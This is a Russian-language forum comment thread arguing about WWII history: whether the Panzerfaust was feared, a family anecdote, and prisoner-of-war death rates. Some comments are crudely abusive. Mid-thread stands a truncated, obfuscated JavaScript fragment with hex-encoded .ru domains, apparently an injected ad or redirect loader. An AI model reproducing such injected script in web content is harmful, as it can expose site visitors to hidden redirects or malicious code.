|
|
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 1 пользователь и 13 гостей.
Пользователи на сайте
|
|
ГОРДОСТЬ ЗА ПРЕДКОВ |
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 1 пользователь и 13 гостей.
Пользователи на сайте
|
|
гастату
Помру когда, у деда поинтересуюсь.. и вы подтягивайтесь, узнаете. - Да чего там, сбрехал так сбрехал. Не верю я в загробную жизнь. Вы тоже врете, не поинтересуетесь.
"исключительно этим оружием"- так в моём тексте, т.е. никакого другого оружия при них не было. - А может при них вообще никакого оружия не было? Как вы себе представляете, его ловят, а он вцепился в фауст, бегает с ним и не бросает? Я представляю несколько иначе - около баррикады оставили пару пацанов и ящик фаустов, они как русских увидели - разбежались, возможно, даже не открыв ящик.
вы с просмотром американских боевиков завязывайте... - дурилка, фауст это не РПГ-7, маршевого двигателя не имеет, начальная скорость всего 28 м/с, тарелочка на стенде летит 37 м/с, по ним тоже только в боевиках попадают?
ну, да, а ещё в качестве источника вкусного и легко усваиваемого мяса. - Без комментариев, обратитесь к доктору.
причём тут папа - Быть святее Папы Римского — крылатое выражение.Применяется для обозначения чрезмерной фанатичности или приверженности каким-либо идеалам в ущерб здравому смыслу. Происходит из речи канцлера Германии Бисмарка, который в 1887 году употребил её в виде «Быть большим католиком, чем Папа римский». Это вам к Бисмарку.
после всего, что гитлеровцы сотворили с гражданами СССР - То есть, Красная Армия не сила добра, а такое же зло, только с другой стороны? На мой взгляд, кто сотворил, тот и должен отвечать (и, кстати, отвечали). Если же насиловать и грабить оккупированное население, прикрываясь мотивом "а их солдаты...", то такая армия ничуть не лучше. Вы не согласны?
я конструктива не заметил - Конструктив в разоблачении хвастовства вашего деда. И опровержении ваших фантазий об ужасном фаустпатроне.
по ним тоже только в боевиках попадают?
Ты меня достал, стендовик хренов...
Сходи на стенд, но только пусть тебе тарелочки в лоб запускают.
Север
А может, тарелочкой тебе в лоб?
Слыш, умник, прочитай и заткнись: «Отчет о работе отдела эксплоатации УК БТ и MB 1-го Украинского фронта за период с 1 апреля по 9 мая 1945 г.» (орфография и пунктуация оригинала сохранены): «За последний период противником в широком масштабе применялось противотанковое средство — Фауст-патрон. Одним из мероприятий, направленных в борьбе против фаустников, являлся интенсивный автоматный огонь пехоты и десанта, повышенная скорость танков и СУ в районе действия фаустников. Частям было дано распоряжение шифротелеграммой, предусматривающее эти мероприятия. За отчетный период число поражаемости танков и СУ фауст-патроном значительно снизилось. Так, например, с 1.3 по 1.4 поражаемых случаев танков и СУ фауст-патроном было 192, а за этот период оно составляет 94». Где я писал, что уничтожались 100% гранат? Судя по статистике - "всего лишь" около 50%, если не больше. Думаю, даже если тебе запустить тарелочкой со 100 граммами тротила в лоб, ты будешь очень стараться в нее попасть, пока она не долетела...
Одним из мероприятий,
Сразу видно - сходил - не попал - в лоб попало - сразу стал мероприятия разрабатывать.
Ты не тот отчет подсовываешь, травмированный. Твоя липа должна содержать что-то вроде:
"В результате реализации разработанных отделом эксплуатации УК БТ и MB меропрятий, а именно применения интенсивного автоматного огня пехоты и десанта, сбито столько-то фауст-патронов, за что пехоте выдано столько-то грамм водки, работники отдела представлены к наградам, судьба десанта выясняется."
Север
Все сказал, тролль?
То есть, по существу возражений не имеется?
для Гость
Ты плохо понял мой текст, повторю на понятном тебе языке. "Во-первых, кто еще был свидетелем этой сцены?" -мудило, дед мой давно умер и твой вопрос-идиотский. " Во-вторых, откуда известно, что в момент поимки те гитлерюгенды были вооружены?"-дебил, как я слышал рассказ деда, так для меня это и стало известно. " Поскольку сама граната летела очень медленно, десант на танке и сопровождающая пехота в 99% случаев успевали ее просто расстреливать в воздухе"- девочка ты наша впечатлительная, поговори с любым компетентным стрелком, он тебе объяснит разницу между стрельбой на стенде по тарелкам, где он лупит дробью, находясь в удобной стойке (зная прекрасно по опыту возможные трактории полёта тарелки) и пальбой из ППШ, у которого после первого выстрела отдача сносит ствол напрочь ( о кучности ППШ сам поинтересуйся), сидя на трясущейся броне и не зная откуда и когда прилетит фауст. При времени полёта 2с, скорость 28 м/с -вовсе не простая мишень и для мастера-международника при стрельбе пулей, даже если он удобно стоит. " Фаустники рассматривались как хорошие поставщики очень удобного оружия для стрельбы гранатой в окна домов."-ты, урод моральный, когда лично с боя трофеи у врага возьмёшь, тогда и хрюкнешь про "поставщиков". " В любом случае город - не место для танков, этому нас еще раз научили в Грозном в 1995-м."-а чего не квакаешь про суперснайперов то сидящих на броне танков, навскидку валящих всех врагов... "Так что, не надо пытаться быть святее папы римского, некоторые наши бойцы в Германии отнюдь не благотворительностью занимались".-не тебе, дерьма кусок, о советских солдатах судить. " Конструктив в разоблачении хвастовства вашего деда. И опровержении ваших фантазий об ужасном фаустпатроне"-мразотина, хвастаются такие как ты разоблачённые шалавы, друг перед другом, на сколько бабла клиентов развели, их фантазия в этом беспредельна.
Ути-пуси
Какие мы обидчивые... Если вы и в реальной жизни также обижаетесь и в отвлеченном споре начинаете переходить к оскорблениям оппонента, вам наверняка часто приходится поправлять ущерб здоровью.
дебил, как я слышал рассказ деда, так для меня это и стало известно - Запятую после "как я" забыли поставить?
Давайте сначала. Вы утверждали: 1) отношение наших солдат к фаустникам было особо зверское, 2) несмотря на п. 1, пойманных с этими самыми фаустами в руках гитлерюгендов наши солдаты просто выпороли и отпустили, 3) этот случай абсолютно достоверен, поскольку о нем вам рассказал ваш дед.
Пойдем по пунктам. Я утверждал, что фаустпатрон не был каким-то супер страшным мегаоружием, за что солдат, его применявших, враги ненавидели так же, как снайперов. Привел свой довод. Вас он не устраивает, о.к., вот ловите другой аргумент: "Таким образом, согласно бесстрастным статистическим данным, от фаустпатронов в 1-й гв. танковой армии потеряно только 8% танков. Если принять этот процент потерь от знаменитых фаустпатронов за основу, то получается, что в Берлине было потеряно от огня «фаустников» всего 8 или в худшем случае 10 машин." http://militera.lib.ru/research/isaev_av_zhukov/15.html И там же: Процитирую «Отчет о работе отдела эксплоатации УК БТ и MB 1-го Украинского фронта за период с 1 апреля по 9 мая 1945 г.» (орфография и пунктуация оригинала сохранены): «За последний период противником в широком масштабе применялось противотанковое средство — Фауст-патрон. Одним из мероприятий, направленных в борьбе против фаустников, являлся интенсивный автоматный огонь пехоты и десанта, повышенная скорость танков и [450] СУ в районе действия фаустников. Частям было дано распоряжение шифротелеграммой, предусматривающее эти мероприятия. За отчетный период число поражаемости танков и СУ фауст-патроном значительно снизилось.... Кушайте на здоровье.
Пункты 2 и 3. Знаете анекдот "...о, у вас язык есть, значит, вы тоже можете рассказывать!" Так вот при всем уважении к вашему деду, у меня нет причин подозревать его в излишней правдивости. Какой-то случай мог действительно произойти и действительно отлупили пацанов и отпустили, но очень неправдоподобен факт того, что их поймали именно с фаустами в руках. Опять же сошлюсь на процитированного выше Исаева о фолькстурмистах:«Ни один человек не получил подготовки в стрельбе из пулемета, все они боялись (!!! — А. И. ) противотанкового оружия». Пацанва, чудом выжившая в том аду (как вы понимаете, наши стреляли во все, что движется), вдруг тащит с собой фауст? Да таких на месте пристреливали, какой там ловить и пороть...
чистой, красивой традицией, к сожалению, быстро закончившейся
Как ни странно, но в Днепродзержинске она существует и сегодня. В семь утра и в одиннадцать вечера.
Это в каком еще
Это в каком еще днепродзержинске? Непорядок, почему не укропупили? Да и время небось по России.
Одесситу, Гостю, Гастату,
Одесситу, Гостю, Гастату, Геннадию. За здравомыслие!
С уважением, Олег.
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275"
Вода не раздавалась, а
Вода не раздавалась, а черпалась из прорубей и таскалась додому самими жителями (во всяком случае, в Дзержинском районе). Стреляли по остановкам транспорта (до дек. 1941 и после марта 1942, когда он работал), проходным и т.п. местам скопления людей, причем немцы знали даже то, в какое время и на какой стороне улицы людей больше.
питерский
Вы приводите личные впечатления
или зомбобайки от хорошо заряженного художественного нагнетателя Чаковского?
Έξηκοστοςτιων
Русофоб
Владимир136
Только вот в блокаду
он тут не жил. Бабушка говорила, что Вера Кетлинская ближе к теме....
Έξηκοστοςτιων
...только вот он тут не
...только вот он тут не жил...
''"""""
Хорошо сказано. А Чубайс вот в МОСКВЕ живет. Наверное лучше всех про Москву знает...
Владимир136
Прошло всего 8 месяцев, и вот
В полтора раза выросла вероятность быть подбитым, а вероятность выйти целым из боя сократилась незначительно: была 90%, стала 85%
Гордость. За беспредельное
Гордость. За беспредельное терпение и за труд предков.
Должен заметить, что это понимали такие НАШИ руководители как Ленин, Сталин и Мехлис.
Такие же беспредельно бесстрашные, честнейшие и умнейшие. Подстать НАШЕМУ народу. И вели себя соответственно. А ведь это не так сложно - например, быть таким как Мехлис - как многим кажется.
И самоуважение и уважение окружающих обеспечено, как впрочем и лютая ненависть хрущевых-горбачевых-ельциноидов и прочих последышей воров, врагов и жертв сталинских репрессий.
С их выстреламии из-за угла и ударов в спину.
№1
А кто такой Мехлис?
Нужно быть не знаю каким мудаком и уродом,
чтобы ставить его в ряд со Сталиным и Лениным.
Опять шиза полезла!
Ленин - Сталин - Мехлис
Ай, молодец - Первый, в самую центру попал. Политическое руководство РККА было самым уязвимым местом: - "замполиты, политруки, а по прежнему - комиссары..."! Их влияние было запредельным, а толку от них - как боевых офицеров, как правило "устремлялось в минус" боеспособности вооружённых сил. Но Юрий Мухин ни разу не затронул этой темы - будто такой проблемы и небыло вовсе. Лично в мою бытность на флоте "замов" не любили - ни офицеры с мичманами и ни рядовой состав. Их опасались и не уважали одновременно - что уже не нормально по соображениям "психологии", эдакие "швондеры - сочиняющие бессмысленные пасквили" и способные подпортить служебную характеристику любому, даже толковому командиру. И совсем не удивительно что единственный и настоящий военный мятеж в истории советского военно-морского флота организовал именно замполит Саблин (не считая, конечно, кронштадтского мятежа "Центробалта" в 1918г)
Нет,Сереж...
Ты покушаешься на несравненного стилиста языка нашего могучего (по определению специалистов ), заруби себе на носу
Έξηκοστοςτιων
Вот видите, как у немцев всё
Вот видите, как у немцев всё просто. Ну, нет у них ни дополнительных лекарств, ни сил, чтобы лечить пленных, и еды у них для пленных нет...
А тут как раз с фронта поперли немецкие пленные. И начальнику Генштаба РККА в самый раз было развести руками - типа «самим есть нечего» и «какие-либо меры помощи в настоящее время невозможны». Однако...
...дело приема, эвакуации и обеспечения военнопленных требует к себе серьезного внимания.
...
Заместитель начальника Генерального штаба генерал армии Антонов».
Занявшись спором с уважаемым коллегой Геннадием, набрёл я тут на некоторые интересные цифры.
http://beloedelo.ru/researches/article/?359 К.Александров "Итальянские узники Восточного фронта: драма христиан в советском плену"
----------------------------------------------------------
Для участия в кампании на Восточном фронте из Италии в составе ARMIR (Armata Italiana in Russia)[2] были направлены 230 тыс. военнослужащих. Из них округленно 100 тыс. погибли, 64,5 тыс. попали в плен. [...] ...из 64,5 тыс. итальянских военнопленных на родину вернулись лишь 10 032 человека.
----------------------------------------------------------
Открываем калькулятор, считаем. Вернулось из плена 15.5 процента. Не вернулось, соответственно - 84.5 процента.
Но это конкретно по итальянцам, им, прямо скажем, не повезло. А вот есть и статистика общая, официальная, с точностью до одного человека:
----------------------------------------------------------
Отметим, что за период с 22 июня 1941 года до 15 апреля 1943 года из 291 856 военнопленных противника учтенных Управлением по делам военнопленных и интернированных (УПВИ) НКВД СССР умерли 171 774 человека (59 %). В качестве главной причины столь высокой смертности, как правильно, называются вышеперечисленные трудности. Интересно, что массовая гибель советских военнопленных, в первую очередь зимой 1941/42 годов, когда умерли примерно 2 млн. человек из 3,6 млн. (почти 55 %), несмотря на идеологические установки нацистов, нередко тоже объясняется объективными условиями военных действий.
----------------------------------------------------------
Ну и зачем нам, спрашивается, слова генерала Антонова, если мы можем посмотреть на дела? А бумага - она всё стерпит...
Для Крашеный блондин.
Крашеный блондин: «Отметим, что за период с 22 июня 1941 года до 15 апреля 1943 года из 291 856 военнопленных противника учтенных Управлением по делам военнопленных и интернированных (УПВИ) НКВД СССР умерли 171 774 человека (59 %)».
Эти цифры вполне объясняются без ссылки на русское людоедство. В этот период были взяты в плен немцы в Сталинграде – по немецким оценкам от 110 до 201 тыс, из которых в Германию вернулись около 5-6 тыс чел.
См. https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BB%D0%B8%D0%BD%D0%B3...
Приняв количество сталинградских пленных немцев за 145 тыс и вычтя вернувшихся 5 тыс, получаем умерших в плену 140 тыс чел. Т.е. львиная доля погибших в плену за этот период (82%) составляют сталинградские пленные, что не мудрено после двухмесячного сидения в котле "на диете" в декабре-январе.
Для остальных пленных смертность составила: (171744-140000)чел/(291856-145000)чел х100%=31744 чел/146856 чел х100%=22%.
Но и такая цифра генерала Антонова не устраивала.
В этот период были взяты в
В этот период были взяты в плен немцы в Сталинграде...
Не стану возражать. Только спрошу: а что, советские войска в 1941-42 годах в "котлы" не попадали? И месяцами в них (до пленения) не сидели?
для Крашеный блондин
В статье приводится пример сознательного массового уничтожения советских военнопленных: ".. Начальником Генштаба сухопутных войск Германии в начале Второй мировой войны был генерал Ф. Гальдер, в ноябре 1941 года он выполнил инспекционную поездку в войска на Восточный фронт и 14 ноября записал в свой дневник: «Обратный путь: Остановка в Молодечно. Продолжительный разговор с командиром полка охранной дивизии (Земмельман) и командиром батальона того же полка. Русский тифозный лагерь военнопленных. 20 000 человек обречены на смерть. В других лагерях, расположенных в окрестностях, хотя там сыпного тифа и нет, большое количество пленных ежедневно умирает от голода. Лагеря производят жуткое впечатление. Однако какие-либо меры помощи в настоящее время невозможны»..." Полагаю, вы не собираетесь это оспаривать. Автор статьи приводит приказ Антонова, демонстрирующий совершенно противоположное отношение к попавшим в плен гитлеровцам. Вместо того, чтобы задавать вопросы про попадания советских войск в котлы (с дальнейшим сидением в них месяцами), уместно было бы привести пример отношения к немецким военнопленным со стороны властей СССР, столь же зверским как в указаной выше цитате. А ведь в цитате речь идёт именно о фактах умерщвления десятков тысяч военнопленных. Коль скоро вы позволяете себе бросаться такими фразами : "Ну и зачем нам, спрашивается, слова генерала Антонова, если мы можем посмотреть на дела? А бумага - она всё стерпит..." -А что до бумаги, то именно она сейчас и "терпит" ваши пассажи.
Для Крашеный блондин.
Крашеный блондин: "Не стану возражать. Только спрошу: а что, советские войска в 1941-42 годах в "котлы" не попадали? И месяцами в них (до пленения) не сидели?"
Вот и расскажите про котлы, покажите, что высокая смертность пленных красноармейцев была обусловлена их недостаточным питанием до сдачи в плен, приблизительно как у немцев в Сталинградском котле.
А так же укажите немецкого генерала, который бы, как Антонов, заботился о снабжении пленных.
Среди сталинградских пленных
Среди сталинградских пленных было более 20 тыс хиви, а всего хиви в 6 армии оценивают больше 50 тыс.
Конечно эти хиви в германию не вернулись. Румыны, чехи, поляки, венгры и итальянцы так же. Кроме этого многие из пленных немецкой национальности в армии не числились, они были из трудовой повинности которую передали в войска прямо на фронте, без обучения в германии и без зачисления в вермахт, такой же фокус был проделан и под ржевом ещё в августе. Автоколонны, железнодорожники и строители так же в вермахт не входят, возможно что зенитные, охранные и строительные части люфтвафе так же не включены.
Ведь немцы вруны известные. И как немцы считают известно всем кто с этим сталкивался.
Для Гость.
Гость: "Среди сталинградских пленных было более 20 тыс хиви, а всего хиви в 6 армии оценивают больше 50 тыс. ... Конечно эти хиви в германию не вернулись. Румыны, чехи, поляки, венгры и итальянцы так же. ... Автоколонны, железнодорожники и строители так же в вермахт не входят, возможно что зенитные, охранные и строительные части люфтвафе так же не включены."
Судя по ссылке:
https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BB%D0%B8%D0%BD%D0%B3...
немцы приводят количество пленных немцев, безотносительно того, в каких частях они служили. И разумеется, не считают пленных других национальностей.
крашеный
На твоем александрове, пробы ставить негде.Лерочка Новодворская на сковордке ему не позавидует. Власовец и почитатель Бандеры прожженый. И даже гордится этим! На кой ляд ты эту мразь сюда притащил? Крашеный, тебя ведь предупреждали....:-)))
Владимир136
По существу вопоросы есть?
Первое. Я пока не имел чести пить с Вами на брудершафт, многоуважаемый коллега Владимир136.
Второе. Мне лично глубоко по фонарю, кого там якобы почитает многоуважаемый господин Александров, и сколько там "клейм" на нём якобы стоит. По существу приведённых цифр вопоросы есть? Если есть - давайте, обсудим.
Крашеный
Да не дай бог мне с вами пить. Спаси и сохрани. Обсуждать цифры от грантоеда, это я вам оставлю. А я уже сказал, на мой взгляд цифры от быбы Леры и то больше пользы обсуждать. Потому как она брехала от любви искусству, а ваш Александров за деньги.
Владимир136
Отправить комментарий